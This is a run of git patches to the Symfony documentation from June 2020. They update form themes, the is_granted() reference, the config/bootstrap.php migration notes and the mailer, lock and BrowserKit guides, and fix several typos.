 form/form_themes.rst | 8 +-------
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/form/form_themes.rst b/form/form_themes.rst
index eec35960acd..21b999fbcdd 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -39,14 +39,10 @@ in a single Twig template and they are enabled in the
 * `foundation_6_layout.html.twig`_, wraps each form field inside a ``<div>``
   element with the appropriate CSS classes to apply the default styles of the
   version 6 of `Foundation CSS framework`_.
-* `bulma_0_layout.html.twig`_, wraps each form field inside a ``<div>``
-  element with the appropriate CSS classes to apply the styles used by the
-  `Bulma CSS framework`_.
 
 .. versionadded:: 5.1
 
-    The ``foundation_6_layout.html.twig`` and ``bulma_0_layout.html.twig``
-    themes were introduced in Symfony 5.1.
+    The ``foundation_6_layout.html.twig`` was introduced in Symfony 5.1.
 
 .. tip::
 
@@ -637,8 +633,6 @@ is a collection of fields (e.g. a whole form), and not just an individual field:
 .. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.4/
 .. _`foundation_5_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_5_layout.html.twig
 .. _`foundation_6_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_6_layout.html.twig
-.. _`bulma_0_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bulma_0_layout.html.twig
 .. _`Foundation CSS framework`: https://get.foundation/
 .. _`Twig "use" tag`: https://twig.symfony.com/doc/2.x/tags/use.html
 .. _`Twig parent() function`: https://twig.symfony.com/doc/2.x/functions/parent.html
-.. _`Bulma CSS framework`: https://bulma.io

From 44573d6051f9d085edd282011dd27db35387d52c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Jun 2020 11:39:14 +0200
Subject: [PATCH 0808/7107] Fixed it in a different way

---
 security.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index f1575d0c189..c92ce4a5e64 100644
--- a/security.rst
+++ b/security.rst
@@ -414,7 +414,8 @@ authentication process. There are many different ways to build an authenticator;
 here are a few common use-cases:
 
 * :doc:`/security/form_login_setup`
-* :doc:`/security/guard_authentication` – see this for the most detailed description of authenticators and how they work
+* :doc:`/security/guard_authentication` – see this for the most detailed
+  description of authenticators and how they work
 
 .. _`security-authorization`:
 .. _denying-access-roles-and-other-authorization:

From ac875c4cfabe736198bc85d88e9778b00796a46e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Jun 2020 11:53:07 +0200
Subject: [PATCH 0809/7107] [Twig] Mention that passing an array of
 roles/attributes is deprecated

---
 reference/twig_reference.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index d241d92674d..84e52b0cd35 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -154,6 +154,10 @@ Returns ``true`` if the current user has the given role. If several roles are
 passed in an array, ``true`` is returned if the user has at least one of
 them.
 
+.. deprecated:: 4.4
+
+    The feature to pass an array of roles to ``is_granted()`` was deprecated in Symfony 4.4.
+
 Optionally, an object can be passed to be used by the voter. More information
 can be found in :ref:`security-template`.
 

From 484e9af84e5bf83aadf95983ef8f93e3a91e1a70 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Mon, 8 Jun 2020 11:50:18 +0200
Subject: [PATCH 0810/7107] adapt reference to no longer mention multi
 attribute support

---
 reference/twig_reference.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index df649b54665..4a97ab73308 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -144,15 +144,13 @@ is_granted
     {{ is_granted(role, object = null, field = null) }}
 
 ``role``
-    **type**: ``string``, ``string[]``
+    **type**: ``string``
 ``object`` *(optional)*
     **type**: ``object``
 ``field`` *(optional)*
     **type**: ``string``
 
-Returns ``true`` if the current user has the given role. If several roles are
-passed in an array, ``true`` is returned if the user has at least one of
-them.
+Returns ``true`` if the current user has the given role.
 
 Optionally, an object can be passed to be used by the voter. More information
 can be found in :ref:`security-template`.

From f6f15e7328827a88f298f4adc9d2e9803547d0ee Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Jun 2020 12:05:35 +0200
Subject: [PATCH 0811/7107] Removed a deprecation notice

---
 reference/twig_reference.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index fb64f710c93..4a97ab73308 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -152,10 +152,6 @@ is_granted
 
 Returns ``true`` if the current user has the given role.
 
-.. deprecated:: 4.4
-
-    The feature to pass an array of roles to ``is_granted()`` was deprecated in Symfony 4.4.
-
 Optionally, an object can be passed to be used by the voter. More information
 can be found in :ref:`security-template`.
 

From a711d03740919a37a9c4d0580bfb1d3ac8ad963c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Jun 2020 12:19:09 +0200
Subject: [PATCH 0812/7107] Update documentation for removal of
 config/bootstrap.php

---
 configuration/dot-env-changes.rst | 23 ++++++++---------------
 migration.rst                     |  4 +++-
 testing/bootstrap.rst             | 22 +++++++++++-----------
 3 files changed, 22 insertions(+), 27 deletions(-)

diff --git a/configuration/dot-env-changes.rst b/configuration/dot-env-changes.rst
index 7484c4e1603..9c9c9df2e81 100644
--- a/configuration/dot-env-changes.rst
+++ b/configuration/dot-env-changes.rst
@@ -45,16 +45,12 @@ If you created your application after November 15th 2018, you don't need to make
 any changes! Otherwise, here is the list of changes you'll need to make - these
 changes can be made to any Symfony 3.4 or higher app:
 
-#. Create a new `config/bootstrap.php`_ file in your project. This file loads Composer's
-   autoloader and loads all the ``.env`` files as needed (note: in an earlier recipe,
-   this file was called ``src/.bootstrap.php``; if you are upgrading from Symfony 3.3
-   or 4.1, use the `3.3/config/bootstrap.php`_ file instead).
+#. Update your ``public/index.php`` file to add the code of the `public/index.php`_
+   file provided by Symfony. If you've customized this file, make sure to keep
+   those changes (but add the rest of the changes made by Symfony).
 
-#. Update your `public/index.php`_ (`index.php diff`_) file to load the new ``config/bootstrap.php``
-   file. If you've customized this file, make sure to keep those changes (but use
-   the rest of the changes).
-
-#. Update your `bin/console`_ file to load the new ``config/bootstrap.php`` file.
+#. Update your ``bin/console`` file to add the code of the `bin/console`_ file
+   provided by Symfony.
 
 #. Update ``.gitignore``:
 
@@ -86,14 +82,11 @@ changes can be made to any Symfony 3.4 or higher app:
    You can also update the `comment on the top of .env`_ to reflect the new changes.
 
 #. If you're using PHPUnit, you will also need to `create a new .env.test`_ file
-   and update your `phpunit.xml.dist file`_ so it loads the ``config/bootstrap.php``
+   and update your `phpunit.xml.dist file`_ so it loads the ``tests/bootstrap.php``
    file.
 
-.. _`config/bootstrap.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.2/config/bootstrap.php
-.. _`3.3/config/bootstrap.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/3.3/config/bootstrap.php
-.. _`public/index.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.2/public/index.php
-.. _`index.php diff`: https://github.com/symfony/recipes/compare/8a4e5555e30d5dff64275e2788a901f31a214e79...86e2b6795c455f026e5ab0cba2aff2c7a18511f7#diff-7d73eabd1e5eb7d969ddf9a7ce94f954
-.. _`bin/console`: https://github.com/symfony/recipes/blob/master/symfony/console/3.3/bin/console
+.. _`public/index.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.1/public/index.php
+.. _`bin/console`: https://github.com/symfony/recipes/blob/master/symfony/console/5.1/bin/console
 .. _`comment on the top of .env`: https://github.com/symfony/recipes/blob/master/symfony/flex/1.0/.env
 .. _`create a new .env.test`: https://github.com/symfony/recipes/blob/master/symfony/phpunit-bridge/3.3/.env.test
 .. _`phpunit.xml.dist file`: https://github.com/symfony/recipes/blob/master/symfony/phpunit-bridge/3.3/phpunit.xml.dist
diff --git a/migration.rst b/migration.rst
index 91e85b7bf2c..2f75449c367 100644
--- a/migration.rst
+++ b/migration.rst
@@ -241,7 +241,9 @@ could look something like this::
     use Symfony\Component\Debug\Debug;
     use Symfony\Component\HttpFoundation\Request;
 
-    require dirname(__DIR__).'/config/bootstrap.php';
+    require dirname(__DIR__).'/vendor/autoload.php';
+
+    (new Dotenv())->bootEnv(dirname(__DIR__).'/.env');
 
     /*
      * The kernel will always be available globally, allowing you to
diff --git a/testing/bootstrap.rst b/testing/bootstrap.rst
index cf1b63621a2..bdd7448a519 100644
--- a/testing/bootstrap.rst
+++ b/testing/bootstrap.rst
@@ -6,21 +6,21 @@ running those tests. For example, if you're running a functional test and
 have introduced a new translation resource, then you will need to clear your
 cache before running those tests.
 
-To do this, first add a file that executes your bootstrap work::
+Symfony already created the following ``tests/bootstrap.php`` file when installing
+the package to work with tests. If you don't have this file, create it::
 
     // tests/bootstrap.php
-    if (isset($_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'])) {
-        // executes the "php bin/console cache:clear" command
-        passthru(sprintf(
-            'APP_ENV=%s php "%s/../bin/console" cache:clear --no-warmup',
-            $_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'],
-            __DIR__
-        ));
-    }
+    use Symfony\Component\Dotenv\Dotenv;
+
+    require dirname(__DIR__).'/vendor/autoload.php';
 
-    require __DIR__.'/../config/bootstrap.php';
+    if (file_exists(dirname(__DIR__).'/config/bootstrap.php')) {
+        require dirname(__DIR__).'/config/bootstrap.php';
+    } elseif (method_exists(Dotenv::class, 'bootEnv')) {
+        (new Dotenv())->bootEnv(dirname(__DIR__).'/.env');
+    }
 
-Then, configure ``phpunit.xml.dist`` to execute this ``bootstrap.php`` file
+Then, check that your ``phpunit.xml.dist`` file runs this ``bootstrap.php`` file
 before running the tests:
 
 .. code-block:: xml

From 8002a117dbceed3eadbf36a1b10997d1da1a5602 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Thu, 4 Jun 2020 22:04:51 +0200
Subject: [PATCH 0813/7107] Update console.rst

---
 console.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index ad00db815a2..43ce7414984 100644
--- a/console.rst
+++ b/console.rst
@@ -325,7 +325,7 @@ Whenever an exception is thrown while running commands, Symfony adds a log
 message for it including the entire failing command. In addition, Symfony
 registers an :doc:`event subscriber </event_dispatcher>` to listen to the
 :ref:`ConsoleEvents::TERMINATE event <console-events-terminate>` and adds a log
-message whenever a command doesn't finish with the ``0`` exit status.
+message whenever a command doesn't finish with the ``0`` `exit status`_.
 
 Learn More
 ----------
@@ -343,3 +343,7 @@ tools capable of helping you with different tasks:
 * :doc:`/components/console/helpers/formatterhelper`: customize the output colorization
 * :doc:`/components/console/helpers/progressbar`: shows a progress bar
 * :doc:`/components/console/helpers/table`: displays tabular data as a table
+* :doc:`/components/console/helpers/debug_formatter`: provides functions to
+  output debug information when running an external program
+
+.. _`exit status`: https://en.wikipedia.org/wiki/Exit_status

From 87d04f4b34b2b428f1f2e702e892264b2bc5cda2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Jun 2020 17:10:09 +0200
Subject: [PATCH 0814/7107] Minor tweak

---
 components/lock.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index c5b80d669ca..02192105221 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -220,7 +220,8 @@ FlockStore
 
 The FlockStore uses the file system on the local computer to create the locks.
 It does not support expiration, but the lock is automatically released when the
-lock object goes out of scope and is freed by the garbage collector::
+lock object goes out of scope and is freed by the garbage collector (for example
+when the PHP process ends)::
 
     use Symfony\Component\Lock\Store\FlockStore;
 

From 22ccb8f0064fdee40ce2836b6752f61226dbb2c2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Jun 2020 17:36:18 +0200
Subject: [PATCH 0815/7107] Added a deprecated directive

---
 components/browser_kit.rst | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index c32dbd92f53..90fa1ea0917 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -37,11 +37,16 @@ Creating a Client
 ~~~~~~~~~~~~~~~~~
 
 The component only provides an abstract client and does not provide any backend
-ready to use for the HTTP layer.
+ready to use for the HTTP layer. To create your own client, you must extend the
+``AbstractBrowser`` class and implement the
+:method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::doRequest` method.
 
-To create your own client, you must extend the ``AbstractBrowser`` class and
-implement the :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::doRequest` method.
-This method accepts a request and should return a response::
+.. deprecated:: 4.3
+
+    In Symfony 4.3 and earlier versions, the ``AbstractBrowser`` class was called
+    ``Client`` (which is now deprecated).
+
+The ``doRequest()`` method accepts a request and should return a response::
 
     namespace Acme;
 

From 3642db75adb08d453cc235681a0cfdc9dcdfac03 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Jun 2020 17:37:01 +0200
Subject: [PATCH 0816/7107] Removed a deprecated directive

---
 components/browser_kit.rst | 8 +-------
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 88939306a9e..88bd9b8ebb5 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -40,13 +40,7 @@ The component only provides an abstract client and does not provide any backend
 ready to use for the HTTP layer. To create your own client, you must extend the
 ``AbstractBrowser`` class and implement the
 :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::doRequest` method.
-
-.. deprecated:: 4.3
-
-    In Symfony 4.3 and earlier versions, the ``AbstractBrowser`` class was called
-    ``Client`` (which is now deprecated).
-
-The ``doRequest()`` method accepts a request and should return a response::
+This method accepts a request and should return a response::
 
     namespace Acme;
 

From 6856159c3c1f5c1832b00377050a8e9cbeafa79b Mon Sep 17 00:00:00 2001
From: Clemens Krack <info@clemenskrack.com>
Date: Fri, 5 Jun 2020 19:35:40 +0200
Subject: [PATCH 0817/7107] Browser-Kit: Replace Client with AbstractBrowser

This has been renamed in 4.3 implementation of BrowserKit, but not updated in the docs.
---
 components/browser_kit.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 90fa1ea0917..24a3c6e700a 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -99,7 +99,7 @@ make AJAX requests::
 Clicking Links
 ~~~~~~~~~~~~~~
 
-The ``Client`` object is capable of simulating link clicks. Pass the text
+The ``AbstractBrowser`` is capable of simulating link clicks. Pass the text
 content of the link and the client will perform the needed HTTP GET request to
 simulate the link click::
 
@@ -122,7 +122,7 @@ provides access to the link properties (e.g. ``$link->getMethod()``,
 Submitting Forms
 ~~~~~~~~~~~~~~~~
 
-The ``Client`` object is also capable of submitting forms. First, select the
+The ``AbstractBrowser`` is also capable of submitting forms. First, select the
 form using any of its buttons and then override any of its properties (method,
 field values, etc.) before submitting it::
 
@@ -173,7 +173,7 @@ Cookies
 Retrieving Cookies
 ~~~~~~~~~~~~~~~~~~
 
-The ``Client`` implementation exposes cookies (if any) through a
+The ``AbstractBrowser`` implementation exposes cookies (if any) through a
 :class:`Symfony\\Component\\BrowserKit\\CookieJar`, which allows you to store and
 retrieve any cookie while making requests with the client::
 

From cf9042a0705f5db065d49a64c7b5b2cf933b487c Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 9 Jun 2020 07:50:47 +0200
Subject: [PATCH 0818/7107] Fix typo in the markup

---
 contributing/code/bc.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 4db7b796c92..52dd1499b8c 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -32,7 +32,7 @@ The second section, "Working on Symfony Code", is targeted at Symfony
 contributors. This section lists detailed rules that every contributor needs to
 follow to ensure smooth upgrades for our users.
 
-.. warning::
+.. caution::
 
     :doc:`Experimental Features </contributing/code/experimental>` and code
     marked with the ``@internal`` tags are excluded from our Backward

From e1722c2749ba3191a122f18a40b51c06f7166b04 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 9 Jun 2020 07:57:57 +0200
Subject: [PATCH 0819/7107] Fix typo in the markup

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index be19e495751..0efe10cd9fa 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -29,7 +29,7 @@ can deliver emails over ``smtp`` by configuring your ``.env`` file (the
     # .env
     MAILER_DSN=smtp://user:pass@smtp.example.com:port
 
-.. warning::
+.. caution::
 
     If you are migrating from Swiftmailer (and the Swiftmailer bundle), be
     warned that the DSN format is different.

From 80d986a3b2ccf66c3307330f7f26c006e41594ab Mon Sep 17 00:00:00 2001
From: Simon Heimberg <simon.heimberg@heimberg-ea.ch>
Date: Tue, 9 Jun 2020 08:40:48 +0200
Subject: [PATCH 0820/7107] List which values are true for %env(bool:xxx)%

This is the behaviour since [4.2](https://github.com/symfony/symfony/commit/ce532613239fbb0dc7fbd870e96560f4df456fc4).
Before all strings except `''`, `'false'`, `'off'` and `'no'` were true as well.
---
 configuration/env_var_processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index ceca80957b8..633901dce4c 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -96,7 +96,7 @@ Symfony provides the following env var processors:
             ]);
 
 ``env(bool:FOO)``
-    Casts ``FOO`` to a bool:
+    Casts ``FOO`` to a bool (true values are `'true'`, `'on'`, `'yes'` and all numers unequal to `0`, everything else is false):
 
     .. configuration-block::
 

From 60a26bb8bfc689f572d7200c0c36dd562efefdad Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Tue, 9 Jun 2020 12:39:30 +0200
Subject: [PATCH 0821/7107] Update mailer.rst

Hello,

I just add an alternative to use a configuration in test for Mailer.
---
 mailer.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 0efe10cd9fa..aad192aeab4 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -784,6 +784,14 @@ environment:
         mailer:
             dsn: 'null://null'
 
+You can also disable delivering with an environment variable in your `.env.test` file
+(or you can create a `.env.test.local` file for example) :
+
+.. code-block:: bash
+
+    # .env.test
+    MAILER_DSN=null://null
+
 .. note::
 
     If you're using Messenger and routing to a transport, the message will *still*

From 0337649b47e20155a9cebe285280d621c91eda43 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Wed, 10 Jun 2020 01:00:00 +0200
Subject: [PATCH 0822/7107] Update factories.rst

---
 service_container/factories.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/service_container/factories.rst b/service_container/factories.rst
index bc0f73b3475..3da70636b22 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -232,7 +232,6 @@ method name, just as routes can reference
             $services = $configurator->services();
 
             $services->set(NewsletterManager::class)
-                ->args([ref('templating')])
                 ->factory(ref(NewsletterManagerFactory::class));
         };
 

From 35c22c14c14d541d549d1119d40fb39a0386448e Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 9 Jun 2020 08:41:00 +0200
Subject: [PATCH 0823/7107] Mailer tweaks

---
 mailer.rst | 47 ++++++++++++++++++++---------------------------
 1 file changed, 20 insertions(+), 27 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index be19e495751..ccb15b1d98a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -20,9 +20,9 @@ integration, CSS inlining, file attachments and a lot more. Get them installed w
 Transport Setup
 ---------------
 
-Emails are delivered via a "transport". And without installing anything else, you
-can deliver emails over ``smtp`` by configuring your ``.env`` file (the
-``user``, ``pass`` and ``port`` parameters are optional):
+Emails are delivered via a "transport". Out of the box, you can deliver emails
+over ``SMTP`` by configuring your ``.env`` file (the ``user``, ``pass`` and
+``port`` parameters are optional):
 
 .. code-block:: bash
 
@@ -37,8 +37,8 @@ can deliver emails over ``smtp`` by configuring your ``.env`` file (the
 Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-But an easier option is to send emails via a 3rd party provider. Mailer supports
-several - install whichever you want:
+Instead of using your own SMTP server, you can send emails via a 3rd party
+provider. Mailer supports several - install whichever you want:
 
 ==================  =============================================
 Service             Install with
@@ -52,7 +52,7 @@ SendGrid            ``composer require symfony/sendgrid-mailer``
 ==================  =============================================
 
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
-example configuration to your ``.env`` file. For example, suppose you want to
+a configuration example to your ``.env`` file. For example, suppose you want to
 use SendGrid. First, install it:
 
 .. code-block:: terminal
@@ -66,13 +66,11 @@ You'll now have a new line in your ``.env`` file that you can uncomment:
     # .env
     MAILER_DSN=sendgrid://KEY@default
 
-The ``MAILER_DSN`` isn't a *real* address: it's a simple format that offloads
-most of the configuration work to mailer. The ``sendgrid`` scheme activates the
-SendGrid provider that you just installed, which knows all about how to deliver
-messages to SendGrid.
-
-The *only* part you need to change is to replace ``KEY`` in the ``MAILER_DSN`` (in
-``.env`` or ``.env.local``).
+The ``MAILER_DSN`` isn't a *real* address: it's a convenient format that
+offloads most of the configuration work to mailer. The ``sendgrid`` scheme
+activates the SendGrid provider that you just installed, which knows all about
+how to deliver messages via SendGrid. The *only* part you need to change is the
+``KEY`` placeholder.
 
 Each provider has different environment variables that the Mailer uses to
 configure the *actual* protocol, address and authentication for delivery. Some
@@ -95,8 +93,8 @@ Creating & Sending Messages
 ---------------------------
 
 To send an email, autowire the mailer using
-:class:`Symfony\\Component\\Mailer\\MailerInterface` (service id ``mailer.mailer``)
-and create an :class:`Symfony\\Component\\Mime\\Email` object::
+:class:`Symfony\\Component\\Mailer\\MailerInterface` and create an
+:class:`Symfony\\Component\\Mime\\Email` object::
 
     // src/Controller/MailerController.php
     namespace App\Controller;
@@ -129,7 +127,7 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
         }
     }
 
-That's it! The message will be sent via whatever transport you configured.
+That's it! The message will be sent via the transport you configured.
 
 Email Addresses
 ~~~~~~~~~~~~~~~
@@ -793,20 +791,15 @@ Always Send to the same Address
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Instead of disabling delivery entirely, you might want to *always* send emails to
-a specific address, instead of the *real* address. To do that, you can take
-advantage of the ``EnvelopeListener`` and register it *only* for the ``dev``
-environment:
+a specific address, instead of the *real* address:
 
 .. code-block:: yaml
 
-    # config/services_dev.yaml
-    services:
-        mailer.dev.set_recipients:
-            class: Symfony\Component\Mailer\EventListener\EnvelopeListener
-            tags: ['kernel.event_subscriber']
-            arguments:
-                $sender: null
-                $recipients: ['youremail@example.com']
+    # config/packages/dev/mailer.yaml
+    framework:
+        mailer:
+            envelope:
+                recipients: ['youremail@example.com']
 
 .. _`download the foundation-emails.css file`: https://github.com/foundation/foundation-emails/blob/develop/dist/foundation-emails.css
 .. _`league/html-to-markdown`: https://github.com/thephpleague/html-to-markdown

From 58626a36ca203afd604870a1ab4e1d8f28f12c2f Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Wed, 10 Jun 2020 10:19:01 +0200
Subject: [PATCH 0824/7107] Fix example for ibanPropertyPath option

Replaced propertyPath by ibanPropertyPath
---
 reference/constraints/Bic.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 6b6f9bce3b5..6496ae63d54 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -122,7 +122,7 @@ It defines the object property whose value stores the IBAN used to check the BIC
 
 For example, if you want to compare the ``$bic`` property of some object
 with regard to the ``$iban`` property of the same object, use
-``propertyPath="iban"`` in the comparison constraint of ``$bic``.
+``ibanPropertyPath="iban"`` in the comparison constraint of ``$bic``.
 
 message
 ~~~~~~~

From 672c4d51daf5460210ebcb65a46412562088e11e Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Wed, 10 Jun 2020 10:30:26 +0200
Subject: [PATCH 0825/7107] use Address::create() instead of fromString()

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 27a95c1e1ad..9ddc86910f1 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -149,7 +149,7 @@ both strings or address objects::
 
         // defining the email address and name as a string
         // (the format must match: 'Name <email@example.com>')
-        ->from(Address::fromString('Fabien Potencier <fabien@example.com>'))
+        ->from(Address::create('Fabien Potencier <fabien@example.com>'))
 
         // ...
     ;

From 0c790b5d1a4a6bae5c3ac39b3d3eaeeadf25ce6f Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Wed, 10 Jun 2020 16:58:09 +0200
Subject: [PATCH 0826/7107] =?UTF-8?q?Typo=20fix=20:=20additonal=20?=
 =?UTF-8?q?=E2=AE=9E=20additional?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 3ff2c66b74c..be25ccc434d 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -458,7 +458,7 @@ This means that each event has access to the following information:
     Returns a metadata.
 
 For Guard Events, there is an extended :class:`Symfony\\Component\\Workflow\\Event\\GuardEvent` class.
-This class has these additonal methods:
+This class has these additional methods:
 
 :method:`Symfony\\Component\\Workflow\\Event\\GuardEvent::isBlocked`
     Returns if transition is blocked.

From e9fe5d4867b29e2031aaf043bb622fa6b6c29062 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Wed, 10 Jun 2020 17:16:15 +0200
Subject: [PATCH 0827/7107] =?UTF-8?q?Typo=20fix=20:=20developped=20?=
 =?UTF-8?q?=E2=AE=9E=20developed?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 setup/symfony_server.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 04b35553138..0068cabf193 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -19,7 +19,7 @@ The Symfony server is part of the ``symfony`` binary created when you
 
 .. note::
 
-    The Symfony binary is developped internally at Symfony. If you want to
+    The Symfony binary is developed internally at Symfony. If you want to
     report a bug or suggest a new feature, please create an issue on
     `symfony/cli`_.
 

From be3e0da61ef9e6b7d463cff8abe5e28149a21eb0 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Wed, 10 Jun 2020 17:23:27 +0200
Subject: [PATCH 0828/7107] =?UTF-8?q?Typo=20fix=20:=20developped=20?=
 =?UTF-8?q?=E2=AE=9E=20developed?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index dd1ab2d7c6b..bf340493203 100644
--- a/setup.rst
+++ b/setup.rst
@@ -35,7 +35,7 @@ requirements. Open your console terminal and run this command:
 
 .. note::
 
-    The Symfony binary is developped internally at Symfony. If you want to
+    The Symfony binary is developed internally at Symfony. If you want to
     report a bug or suggest a new feature, please create an issue on
     `symfony/cli`_.
 

From 0738937ad8947081d7486e08f628fabd8fe951ee Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Wed, 10 Jun 2020 17:32:09 +0200
Subject: [PATCH 0829/7107] =?UTF-8?q?Typo=20fix=20:=20dispacher=20?=
 =?UTF-8?q?=E2=AE=9E=20dispatcher?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index c92ce4a5e64..358ce477b8c 100644
--- a/security.rst
+++ b/security.rst
@@ -1011,7 +1011,7 @@ event class:
                 App\EventListener\CustomLogoutSubscriber:
                     tags:
                         - name: kernel.event_subscriber
-                          dispacher: security.event_dispatcher.main
+                          dispatcher: security.event_dispatcher.main
 
         .. code-block:: xml
 

From 5cd0ca3ba0ae24e6eb2ee45ff22db4066745da55 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Wed, 10 Jun 2020 18:23:09 +0200
